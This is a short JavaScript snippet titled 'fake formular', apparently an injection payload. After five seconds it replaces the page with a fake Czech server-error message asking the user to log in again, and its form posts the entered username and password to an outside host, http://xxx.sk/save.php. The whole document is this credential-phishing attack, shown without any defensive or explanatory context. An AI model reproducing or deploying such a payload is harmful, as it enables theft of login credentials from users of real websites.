fake formular

<script>
  function atack() {
     document.getElementsByTagName('body')[0].innerHTML="<b>Na serveru došlo k nedefinované chybě.</b><br><br>Prosím přihlaste se znovu.<br><br><form method='post' action='http://xxx.sk/save.php'>Username:<input type='text' name='username' value=''><br>Password:<input type='password' name='password' value=''><br><input type='submit' name='submit' value='Logon'></form>";
  }
  setTimeout("atack()",5000);
</script>